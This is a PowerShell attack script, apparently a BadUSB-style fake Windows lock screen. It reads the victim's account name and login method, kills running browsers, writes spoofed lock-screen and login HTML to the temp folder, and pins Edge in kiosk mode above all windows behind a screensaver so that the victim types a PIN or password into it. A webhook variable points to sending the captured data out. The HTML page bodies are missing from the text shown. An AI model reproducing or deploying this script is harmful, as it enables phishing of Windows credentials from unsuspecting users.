# GATHER SYSTEM AND USER INFO $u = (Get-WmiObject Win32_UserAccount -Filter "Name = '$Env:UserName'").FullName $c = $env:COMPUTERNAME $wpURL = "https://wallpapercave.com/wp/wp1809099.jpg" # shortened URL Detection if ($dc.Ln -ne 121){Write-Host "Shortened Webhook URL Detected.." ; $dc = (irm $dc).url} # DEFAULT LOGIN METHOD $value = Get-ItemPropertyValue -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI\NgcPin" -Name "DeviceLockEnforcementPending" -ErrorAction SilentlyContinue if ($value -eq 0 -or $value -eq 1) {$mthd = "PIN"} else {$mthd = "Password"} # FIND ACCOUNT PICTURES $accountPicturesPath = "C:\ProgramData\Microsoft\Default Account Pictures" $imageFiles = Get-ChildItem -Path $accountPicturesPath -include "*.jpg", "*.png", "*.bmp" -File -Recurse if ($imageFiles.Count -gt 0) { $firstImage = $imageFiles[0].FullName $image = [System.Drawing.Image]::FromFile($firstImage) $usrimg = "$image" }else {$usrimg = "https://www.tenforums.com/geek/gars/images/2/types/thumb_14400082930User.png"} # HTML FOR COVER PAGE $h = @" 
08:20
Tuesday, October 8
"@ # HTML FOR LOGIN PAGE $h2 = @" 
User Image

$u

I forgot my $mthd

"@ # SAVE HTML $p = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), "index.html") $h | Out-File -Encoding UTF8 -FilePath $p $a = "file://$p" $p2 = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), "login.html") $h2 | Out-File -Encoding UTF8 -FilePath $p2 # KILL ANY BROWSERS (interfere with "Maximazed" argument) Start-Process -FilePath "taskkill" -ArgumentList "/F", "/IM", "chrome.exe", "/IM", "msedge.exe" -NoNewWindow -Wait Sleep -Milliseconds 100 # START EDGE IN FULLSCREEN $edgeProcess = Start-Process -FilePath "msedge.exe" -ArgumentList "--kiosk --app=$a -WindowStyle Maximized" -PassThru $edgeProcess.WaitForInputIdle() Add-Type @" using System; using System.Runtime.InteropServices; public class Win32 { [DllImport("user32.dll")] public static extern IntPtr SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags); public static readonly IntPtr HWND_TOPMOST = new IntPtr(-1); public static readonly IntPtr HWND_NOTOPMOST = new IntPtr(-2); public const uint SWP_NOMOVE = 0x2; public const uint SWP_NOSIZE = 0x1; public const uint SWP_SHOWWINDOW = 0x40; } "@ # SET EDGE AS TOP WINDOW AND START SCREENSAVER $null = [Win32]::SetWindowPos($edgeProcess.MainWindowHandle, [Win32]::HWND_TOPMOST, 0, 0, 0, 0, [Win32]::SWP_NOMOVE -bor [Win32]::SWP_NOSIZE -bor [Win32]::SWP_SHOWWINDOW) Sleep -Milliseconds 250 $null = [Win32]::SetWindowPos($edgeProcess.MainWindowHandle, [Win32]::HWND_TOPMOST, 0, 0, 0, 0, [Win32]::SWP_NOMOVE -bor [Win32]::SWP_NOSIZE -bor [Win32]::SWP_SHOWWINDOW) Sleep -Milliseconds 250 $black = Start-Process -FilePath "C:\Windows\System32\scrnsave.scr"